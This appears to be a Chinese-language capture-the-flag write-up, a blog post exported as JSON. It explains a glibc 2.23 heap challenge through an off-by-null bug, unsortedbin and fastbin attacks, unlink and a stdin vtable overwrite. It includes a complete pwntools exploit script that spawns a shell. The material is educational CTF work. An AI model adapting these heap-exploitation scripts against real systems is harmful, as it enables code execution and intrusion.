![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
good\uff0c\u4fdd\u62a4\u5168\u5f00<\/p>\n\n\n\n
libc\u6b64\u9898\u662f2.23\u7684<\/p>\n\n\n\n
\u770b\u4e00\u4e0b\u5185\u5bb9<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6bd4\u8f83\u7ecf\u5178\u7684\u83dc\u5355\u9898\uff0c\u5faa\u73af\u7ed3\u675f\u4f1a\u5f00\u6c99\u7bb1\uff0c\u7981\u7528system\uff0c\u4e0d\u8fc7\u672c\u9898\u601d\u8def\u4e00\u4ecd\u7136\u53ef\u4ee5\u5728\u5faa\u73af\u5185getshell\uff0c\u6b64\u6c99\u7bb1\u53ef\u4ee5\u6682\u65f6\u5ffd\u7565\uff0c1\u30012\u30013\u30014\u5206\u522b\u5bf9\u5e94\u589e\u5220\u6539\u67e5\uff0c5\u662f\u9000\u51fa\uff0c\u4e0d\u8fc7\u6211\u7684\u6253\u6cd5\u4ecd\u7136\u6ca1\u6709\u7528\u5230edit\u529f\u80fd<\/p>\n\n\n\n
\u589e<\/h4>\n\n\n\n<\/div><\/figure>\n\n\n\n
sub_c16\u51fd\u6570\u9650\u5236\u4e86\u6b64\u9898\u4e0d\u80fd\u4fee\u6539mallochook\u548cfreehook\u3002\u4e3b\u4f53\u90e8\u5206\u5b58\u5728\u660e\u663e\u7684off by null\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u501f\u6b64\u5b9e\u73b0\u5806\u5757\u5408\u5e76\u64cd\u4f5c\u3002\u7ed3\u5408\u5faa\u73af\u6761\u4ef6\u53ef\u77e5\uff0c\u5806\u5757\u4e0b\u6807\u4ece\u96f6\u8ba1\u7b97\uff0c\u6700\u591a\u53ef\u4ee5\u653e9\u4e2a\uff08\u4e0b\u6807\u4e3a8\uff09<\/p>\n\n\n\n
\u5220<\/h4>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6307\u9488\u8868\u7f6e\u96f6\u4e86\uff0c\u6ca1\u6709UAF\uff0c\u7ed3\u5408off by null\u6f0f\u6d1e\uff0c\u8003\u8651unlink\u63a7\u5236\u4efb\u610f\u5806\u5757<\/p>\n\n\n\n
\u67e5<\/h4>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5f88\u666e\u901a\u7684\u67e5<\/p>\n\n\n\n
\u6539<\/h4>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8f93\u5165\u4efb\u610f\u5730\u5740\u6539\u4e00\u5b57\u8282<\/p>\n\n\n\n
<\/span>\u601d\u8def\u5206\u6790<\/span><\/h2>\n\n\n\n\u9996\u5148\u5229\u7528unsortedbin attack\u83b7\u5f97libcbase\uff0c\u5229\u7528fastbin attack\u83b7\u5f97heapbase\u3002<\/p>\n\n\n\n
\u7531\u4e8e\u6ca1\u6709UAF\uff0c\u6240\u4ee5\u6b64\u9898\u60f3\u8981\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199\uff0c\u9700\u8981\u6709\u4e00\u79cd\u53ef\u4ee5\u4efb\u610f\u5199\u7684\u6280\u5de7\uff0c\u6545\u800c\u60f3\u5230unlink\uff0c\u901a\u8fc7\u4f2a\u9020\u5806\u5757\uff0c\u6211\u53ef\u4ee5\u5bf9\u5df2\u6709\u7684unsortedbin\u8fdb\u884c\u5411\u4e0a\u5408\u5e76\uff0c\u4ece\u800c\u83b7\u5f97\u4e00\u5757\u66f4\u5927\u7684unsortedbin\uff0c\u8fd9\u4e2aunsortedbin\u548c\u539f\u6709unsortedbin\u4e0a\u9762\u90a3\u4e00\u4e2a\u5806\u5757\u7269\u7406\u4e0a\u91cd\u53e0\uff0c\u518d\u6b21\u7533\u8bf7\u9002\u5f53\u5927\u5c0f\u65f6\uff0c\u4f1a\u4eceunsortedbin\u91cc\u8fdb\u884c\u5207\u5272\uff0c\u4ece\u800c\u4fee\u6539\u539f\u5148\u4e0a\u4e00\u4e2a\u5806\u5757\u7684\u5185\u5bb9\uff08\u6ce8\u610f\uff0c\u4e0a\u4e00\u4e2a\u5806\u5757\u7684\u6307\u9488\u6ca1\u6709free\u8fc7\uff0c\u6307\u9488\u8868\u91cc\u8fd8\u4fdd\u5b58\u7740\u8be5\u6307\u9488\uff0c\u53ef\u4ee5\u7ee7\u7eed\u8bbf\u95ee\uff09\uff0c\u8fbe\u5230\u7c7b\u4f3cUAF\u7684\u653b\u51fb\u6548\u679c\uff0c\u6545\u800c\u53ef\u4ee5\u4fee\u6539fastbin\u7684fd\u6307\u9488\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199<\/p>\n\n\n\n
\u6700\u540e\uff0c\u5982\u679c\u5c06stdin\u7684vtable\u9879\u6539\u5199\u6210\u67d0\u4e2a\u5730\u5740\uff0c\u8fd9\u4e2a\u5730\u5740\u91cc\u88c5\u6ee1\u4e86onegadget\uff0c\u90a3\u4e48\u4ed6\u4e0b\u4e00\u6b21\u8df3\u8f6c\u7684\u65f6\u5019\u5c31\u4f1a\u76f4\u63a5\u8c03\u7528onegadget\uff0c\u4ece\u800cgetshell\uff08\u5f53\u7136\uff0c\u5982\u679c\u5bf9vtable\u66f4\u4e3a\u719f\u6089\u53ef\u4ee5\u53ea\u5728\u7279\u5b9a\u4f4d\u7f6e\u5199\u4e00\u4e2aonegadget\u5c31\u591f\u4e86\uff09<\/p>\n\n\n\n
<\/span>\u83b7\u53d6libcbase\u548cheapbase<\/span><\/h3>\n\n\n\n\u8fd9\u90e8\u5206\u6bd4\u8f83\u57fa\u7840\uff0c\u4e0d\u591a\u8bb2\u89e3\u4e86\uff0c\u76f4\u63a5\u4e0apayload<\/p>\n\n\n\n
#-------------leak libc-----------------\nadd(0xf0,b'\/bin\/sh')#0\nadd(0x20,b'\/bin\/sh')#1 \u9632\u5408\u5e76\ndelete(0)\nadd(0xf0,b'a'*7)#0\nshow(0)#\u6b64\u5904\u6cc4\u9732unsortedbin\u7684bk\np.recvuntil(b'aaaaaaa\\n')\nunsortedbk=u64(p.recv(6).ljust(8,b'\\x00'))\nprint('unsortedbk:',hex(unsortedbk))\nlibcbase=unsortedbk-0x3c4b78\nprint('libcbase:',hex(libcbase))\nonegadget=[0x45216+libcbase,0x4526a+libcbase,0xf02a4+libcbase,0xf1147+libcbase]\n#-------------leak heap-------------------\nadd(0x20,b'\/bin\/sh\\0'*4)#2\nadd(0x20,b'\/bin\/sh\\0'*4)#3\ndelete(1)\ndelete(2)\nadd(0x20,b'')#1\nadd(0x20,b'\/bin\/sh\\0'*4)#2\nshow(1)\nchunk2addr=u64(p.recv(6).ljust(8,b'\\x00'))-0xa+0x10\nprint('chunk2addr:',hex(chunk2addr))<\/code><\/pre>\n\n\n\n<\/span>unlink<\/span><\/h3>\n\n\n\n\u8fd9\u91cc\u770b\u8fc7\u5176\u4ed6\u5e08\u5085\u7684\u4e00\u4e9bblog\uff0c\u4eff\u7167\u4ed6\u4eec\u7684\u505a\u6cd5\uff0c\u9009\u7528\u4e860x40,0x68,0xf0\u4e09\u79cd\u5927\u5c0f\u7684\u5806\u5757\uff0c\u8981\u6ce8\u610f\u7684\u662f0x68\u7684\u5806\u5757\uff0c\u5176size\u4f4d\u662f0x71\uff0c\u610f\u5473\u7740\u8be5\u5806\u5757\u4f1a\u590d\u7528\u4e0b\u4e00\u4e2a\u5806\u5757\u7684presize\u4f4d\uff08\u4e4b\u524d\u6211\u90fd\u5fd8\u4e86\uff09<\/p>\n\n\n\n
payload\u5148\u4e0a\u4e00\u4e0b<\/p>\n\n\n\n
#------------------unlink------------------\nfakechunk=p64(0)+p64(0xb1)+p64(chunk2addr+0xb0-8)+p64(chunk2addr+0xb0)+p64(chunk2addr+0xa0)\nadd(0x40,fakechunk)#4\nadd(0x68,b'\\x00'*0x60+p64(0xb0))#5\nadd(0xf0,p64(onegadget[2])*30)#6\nadd(0x20,b'a')#7\u9632\u5408\u5e76\ndelete(5)#\u5148\u7533\u8bf7\u540e\u5220\u9664\u5728\u7533\u8bf7\u662f\u56e0\u4e3a\u5806\u57576\u57285\u4e0b\u9762\uff0c\u9700\u8981\u5148\u5220\u96645\uff0c\u5728\u91cd\u65b0\u7533\u8bf7\uff0c\u624d\u80fd\u5b9e\u73b0off by null\u7684\u590d\u5199\nadd(0x68,b'\\x00'*0x60+p64(0xb0))#5\nattach(p)\npause()\ndelete(6)<\/code><\/pre>\n\n\n\n\u653e\u5230gdb\u91cc\u6211\u4eec\u6765\u770b\u4e00\u4e0b\u4ed6\u4eec\u7684\u6784\u6210<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8fd9\u662f\u5220\u9664\u5806\u57576\u4e4b\u524d\u7684\u5806\u5757\u6784\u6210\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u7ecf\u8fc7\u5806\u57575\u7684\u5148\u91ca\u653e\u540e\u91cd\u65b0\u7533\u8bf7\uff0c\u6210\u529f\u5b9e\u73b0\u4e86\u5c06\u4e0b\u4e00\u4e2a\u5806\u5757\u7684size\u4f4d\u6539\u5199\u4e3a00\uff08\u56e0\u4e3a\u6709off by null\u6f0f\u6d1e\uff09\u6240\u4ee5\u9009\u62e90xf0\u5927\u5c0f\u7684\u5806\u5757\u539f\u56e0\u5c31\u5728\u8fd9\u91cc\uff0c\u4ed6\u7684size\u4f4d\u539f\u672c\u521a\u597d\u662f0x101\uff0c\u5982\u679c\u5c0f\u4e8e0xf0\uff0c\u90a3\u4ed6\u7684size\u4f4d\u53ea\u6709\u4e24\u4f4d\uff0c\u7ecf\u8fc7off by null\u4e4b\u540e\u5c31\u65e0\u610f\u4e49\u4e86\u3002<\/p>\n\n\n\n
\u540c\u65f6\uff0c\u8fd9\u91cc\u5148\u7533\u8bf75\u540e\u91ca\u653e5\u7136\u540e\u518d\u6b21\u7533\u8bf75\u7684\u539f\u56e0\u662f\u4e3a\u4e86\u8ba9\u4e0a\u56fe\u4e2d\u76845\u57286\u7684\u4e0a\u65b9\uff0c\u4f46\u7531\u4e8e\u662f\u5148\u7533\u8bf7\u76845\uff0c\u5728\u7533\u8bf76\u4e4b\u524d\u89e6\u53d1\u7684off by null\uff0c\u6240\u4ee5\u8981\u91ca\u653e5\u5728\u91cd\u65b0\u7533\u8bf75\uff0c\u4ece\u800c\u4fee\u6539\u4e0b\u4e00\u4e2a\u5806\u5757\u7684size\u4f4d<\/p>\n\n\n\n
\u7531\u4e8e\u5806\u57575\u7533\u8bf7\u7684\u5927\u5c0f\u662f0x68\uff0c\u6240\u4ee5\u521a\u597d\u53ef\u4ee5\u4fee\u6539\u5806\u57576\u7684presize\u4f4d\uff0c\u8fd9\u6837\uff0c\u5728free\uff086\uff09\u7684\u65f6\u5019\uff0c\u5c31\u4f1a\u5229\u7528presize\u4f4d\u5411\u4e0a\u5bfb\u627e\u76f8\u5e94\u4f4d\u7f6e\u7684\u5806\u5757\uff0c\u5728\u8fd9\u9898\u4e2d\u521a\u597d\u5c31\u662f\u6211\u4eec\u6784\u9020\u7684fake chunk\u5904\uff0c\u8fd9\u91cc\u4ed6\u4f1a\u8fdb\u884cunlink\u7684\u68c0\u67e5\uff0c\u5373\u68c0\u67e5fake chunk\u7684fd\u7684bk\u6307\u9488\u662f\u5426\u6307\u5411fake chunk\uff0cfake chunk\u7684bk\u6307\u9488\u7684fd\u662f\u5426\u6307\u5411fake chunk\uff0c\u6240\u4ee5fake chunk\u91cc\u653e\u7684\u6570\u636e\u5206\u522b\u662ffakechunkaddr+0x8\uff0cfakechunkaddr+0x10\uff0cfakechunkaddr\uff0c\u4ece\u800c\u7ed5\u8fc7\u68c0\u67e5\uff0c\u5b9e\u73b0unlink<\/p>\n\n\n\n
delete\uff086\uff09\uff0c\u89e6\u53d1unlink\uff0c\u6211\u4eec\u5f97\u5230\u4e86\u4e00\u5757size\u4f4d\u4e3a0x1b1\u7684unsortedbin<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/span>fastbin attack<\/span><\/h3>\n\n\n\n\u5148\u4e0apayload<\/p>\n\n\n\n
#--------------fasebin attack---------------\n#-----------\u4fee\u6539stdin\u7684IOjump\u6307\u9488\u6307\u5411\u4e00\u4e2a\u5b58\u653eonegadget\u7684\u5806\u5757----------------\nstdinfakeaddr=libcbase+0x3c4985-8#8e0\ndelete(5)\nadd(0x70,p64(0)*7+p64(0x71)+p64(stdinfakeaddr))#5\nadd(0x68,b'\\x00'*0x60+p64(0xb0))#5 \u5185\u5bb9\u4e0d\u91cd\u8981\uff0c\u91cd\u70b9\u662f\u5927\u5c0f\uff0c\u8981\u7533\u8bf7\u4e00\u4e2a0x68\u7684\ndelete(1)#\u8fd9\u91cc\u8981\u5220\u4e00\u4e0b\u662f\u56e0\u4e3a\u6700\u591a\u80fd\u7533\u8bf79\u4e2a\u5806\u5757\uff0c\u6b64\u65f6\u5df2\u7ecf\u7533\u8bf7\u6ee1\u4e86\nfakeiojump=chunk2addr+0x160\n# attach(p)\n# pause()\nadd(0x68,b'\\x00'*3+2*p64(0)+p64(0xffffffff)+2*p64(0)+p64(fakeiojump))<\/code><\/pre>\n\n\n\n\u5728gdb\u91cc\u770b\u4e00\u4e0bstdin\u7684\u6784\u6210<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6700\u540e\u4e00\u4e2a\u6570\u636e\u4fbf\u662fvtable\u6307\u9488\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u60f3\u8981\u4fee\u6539\u7684\u6307\u9488\uff0c\u7bad\u5934\u6307\u5411\u7684\u5730\u65b9\u6709\u4e00\u4e2a\u53ef\u4ee5\u5229\u7528\u76840x7f\uff0c\u53ef\u4ee5\u7528\u6765\u4f2a\u9020size\uff0c\u7ecf\u8fc7\u8c03\u8bd5\uff0c\u6211\u4eec\u53d1\u73b0\u572897d\u5904\u5b58\u5728\u4e00\u4e2a\u53ef\u4ee5\u5229\u7528\u76840x7f<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u7ea2\u6846\u5904\u5c31\u662f\u539f\u5148\u7684vtable<\/p>\n\n\n\n
\u56e0\u6b64\u6211\u4eec\u9996\u5148\u5220\u9664\u5806\u57575\uff0c\u63a5\u7740\u7533\u8bf7\u4e00\u4e2a0x70\u7684\u5806\u5757\uff0c\u8be5\u5806\u5757\u4f1a\u5207\u5272unsortedbin\uff0c\u5b9e\u73b0\u5bf9\u5806\u57575\u7684\u8986\u76d6\uff0c\u5177\u4f53\u5927\u5c0f\u4e0d\u91cd\u8981\uff0c\u53ea\u8981\u80fd\u8986\u76d6\u5230\u5806\u57575\u7684fd\u6307\u9488\u5c31\u53ef\u4ee5\u4e86\uff0c\u4e4b\u540e\u518d\u7533\u8bf7\u4e24\u4e2a0x68\u5927\u5c0f\u7684\u5806\u5757\uff0c\u7b2c\u4e00\u6b21\u7533\u8bf7\u4f1a\u7533\u8bf7\u5230\u539f\u5806\u5757\uff0c\u7b2c\u4e8c\u6b21\u7533\u8bf7\u5c31\u4f1a\u628a\u5806\u5757\u7533\u8bf7\u5230fd\u6307\u9488\u7684\u4f4d\u7f6e\uff0c\u4ece\u800c\u6539\u5199vtable\uff0c\u4ece\u800cgetshell<\/p>\n\n\n\n
<\/span>\u5b8c\u6574\u4ee3\u7801<\/span><\/h2>\n\n\n\nfrom pwn import *\ncontext.log_level = 'debug'\ncontext.arch='amd64'\np = process('.\/domo')\n# p=remote('node5.buuoj.cn',26987)\ndef choose(num):\n p.sendlineafter(b'> ',str(num))\ndef add(size,content):\n choose(1)\n p.sendlineafter(b'size:\\n',str(size))\n p.sendlineafter(b'content:\\n',content)\ndef delete(num):#\u672c\u9898\u5806\u5757\u4ece0\u5f00\u59cb\u8ba1\u6570\n choose(2)\n p.sendlineafter(b'index:\\n',str(num))\ndef show(num):\n choose(3)\n p.sendlineafter(b'index:\\n',str(num))\ndef edit(addr,onebyte):\n choose(4)\n p.sendlineafter(b'addr:\\n',addr)\n p.sendlineafter(b'num:\\n',onebyte)\n#-------------leak libc-----------------\nadd(0xf0,b'\/bin\/sh')#0\nadd(0x20,b'\/bin\/sh')#1 \u9632\u5408\u5e76\ndelete(0)\nadd(0xf0,b'a'*7)#0\nshow(0)#\u6b64\u5904\u6cc4\u9732unsortedbin\u7684bk\np.recvuntil(b'aaaaaaa\\n')\nunsortedbk=u64(p.recv(6).ljust(8,b'\\x00'))\nprint('unsortedbk:',hex(unsortedbk))\nlibcbase=unsortedbk-0x3c4b78\nprint('libcbase:',hex(libcbase))\nonegadget=[0x45216+libcbase,0x4526a+libcbase,0xf02a4+libcbase,0xf1147+libcbase]\n#-------------leak heap-------------------\nadd(0x20,b'\/bin\/sh\\0'*4)#2\nadd(0x20,b'\/bin\/sh\\0'*4)#3\ndelete(1)\ndelete(2)\nadd(0x20,b'')#1\nadd(0x20,b'\/bin\/sh\\0'*4)#2\nshow(1)\nchunk2addr=u64(p.recv(6).ljust(8,b'\\x00'))-0xa+0x10\nprint('chunk2addr:',hex(chunk2addr))\n#------------------unlink------------------\nfakechunk=p64(0)+p64(0xb1)+p64(chunk2addr+0xb0-8)+p64(chunk2addr+0xb0)+p64(chunk2addr+0xa0)\nadd(0x40,fakechunk)#4\nadd(0x68,b'\\x00'*0x60+p64(0xb0))#5\nadd(0xf0,p64(onegadget[2])*30)#6\nadd(0x20,b'a')#7\u9632\u5408\u5e76\ndelete(5)#\u5148\u7533\u8bf7\u540e\u5220\u9664\u5728\u7533\u8bf7\u662f\u56e0\u4e3a\u5806\u57576\u57285\u4e0b\u9762\uff0c\u9700\u8981\u5148\u5220\u96645\uff0c\u5728\u91cd\u65b0\u7533\u8bf7\uff0c\u624d\u80fd\u5b9e\u73b0off by null\u7684\u590d\u5199\nadd(0x68,b'\\x00'*0x60+p64(0xb0))#5\ndelete(6)\n'''\n0x7f90e20d28d5: 0x000000000000007f 0x00fbad2288000000\n0x7f90e20d28e5 <_IO_2_1_stdin_+5>: 0x890d46e010000000 0x890d46e010000055\n0x7f90e20d28f5 <_IO_2_1_stdin_+21>: 0x890d46e010000055 0x890d46e010000055\n0x7f90e20d2905 <_IO_2_1_stdin_+37>: 0x890d46e010000055 0x890d46e010000055\n0x7f90e20d2915 <_IO_2_1_stdin_+53>: 0x890d46e010000055 0x890d46f010000055\n0x7f90e20d2925 <_IO_2_1_stdin_+69>: 0x0000000000000055 0x0000000000000000\n0x7f90e20d2935 <_IO_2_1_stdin_+85>: 0x0000000000000000 0x0000000000000000\n0x7f90e20d2945 <_IO_2_1_stdin_+101>: 0x0000000000000000 0x1000000000000000\n0x7f90e20d2955 <_IO_2_1_stdin_+117>: 0xffffffffff000000 0x0000000000ffffff\n0x7f90e20d2965 <_IO_2_1_stdin_+133>: 0x90e20d4790000000 0xffffffffff00007f\n0x7f90e20d2975 <_IO_2_1_stdin_+149>: 0x0000000000ffffff 0x90e20d29c0000000\n0x7f90e20d2985 <_IO_2_1_stdin_+165>: 0x000000000000007f 0x0000000000000000\n0x7f90e20d2995 <_IO_2_1_stdin_+181>: 0x0000000000000000 0x00ffffffff000000\n0x7f90e20d29a5 <_IO_2_1_stdin_+197>: 0x0000000000000000 0x0000000000000000\n0x7f90e20d29b5 <_IO_2_1_stdin_+213>: 0x90e20d16e0000000 0x000000000000007f\n'''\n#--------------fasebin attack---------------\n#-----------\u4fee\u6539stdin\u7684IOjump\u6307\u9488\u6307\u5411\u4e00\u4e2a\u5b58\u653eonegadget\u7684\u5806\u5757----------------\nstdinfakeaddr=libcbase+0x3c4985-8#8e0\ndelete(5)\nadd(0x70,p64(0)*7+p64(0x71)+p64(stdinfakeaddr))#5\nadd(0x68,b'\\x00'*0x60+p64(0xb0))#5 \u5185\u5bb9\u4e0d\u91cd\u8981\uff0c\u91cd\u70b9\u662f\u5927\u5c0f\uff0c\u8981\u7533\u8bf7\u4e00\u4e2a0x68\u7684\ndelete(1)#\u8fd9\u91cc\u8981\u5220\u4e00\u4e0b\u662f\u56e0\u4e3a\u6700\u591a\u80fd\u7533\u8bf79\u4e2a\u5806\u5757\uff0c\u6b64\u65f6\u5df2\u7ecf\u7533\u8bf7\u6ee1\u4e86\nfakeiojump=chunk2addr+0x160\nattach(p)\npause()\nadd(0x68,b'\\x00'*3+2*p64(0)+p64(0xffffffff)+2*p64(0)+p64(fakeiojump))\np.interactive()<\/code><\/pre>\n\n\n\n\u672c\u9898\u8fd8\u6709\u53e6\u4e00\u79cd\u601d\u8def\uff0c\u5c31\u662f\u5728\u6cc4\u9732\u5b8clibcbase\u548cheapbase\u540e\uff0c\u901a\u8fc7\u8be5\u5199stdout\u8fdb\u884c\u4efb\u610f\u8bfb\uff0c\u83b7\u53d6\u5230environ\u4e2d\u5b58\u653e\u7684\u5806\u5730\u5740\uff0c\u4ece\u800c\u4efb\u610f\u5199\u7a0b\u5e8f\u7684\u8fd4\u56de\u5730\u5740\uff0c\u8fdb\u884corw\uff0c\u4f46\u76ee\u524d\u6211\u7684\u8c03\u8bd5\u51fa\u73b0\u4e86\u95ee\u9898\uff0c\u5f85\u89e3\u51b3\u95ee\u9898\u540e\u518d\u8fdb\u884c\u8865\u5145<\/p>\n","protected":false},"excerpt":{"rendered":"
\u9898\u76ee\u5728buu\u4e0a\u80fd\u627e\u5230\u8fdc\u7aef\u73af\u5883 \u9898\u76ee\u5206\u6790 \u770b\u4e00\u4e0b\u4fdd\u62a4 good\uff0c\u4fdd\u62a4\u5168\u5f00 libc\u6b64\u9898\u662f2.23\u7684 \u770b\u4e00\u4e0b\u5185\u5bb9 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[17,16,29,19],"class_list":["post-180","post","type-post","status-publish","format-standard","hentry","category-pwn","tag-fastbin-attack","tag-unlink","tag-unsortedbin-atttack","tag-vtable"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=180"}],"version-history":[{"count":2,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/180\/revisions"}],"predecessor-version":[{"id":192,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/180\/revisions\/192"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=180"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}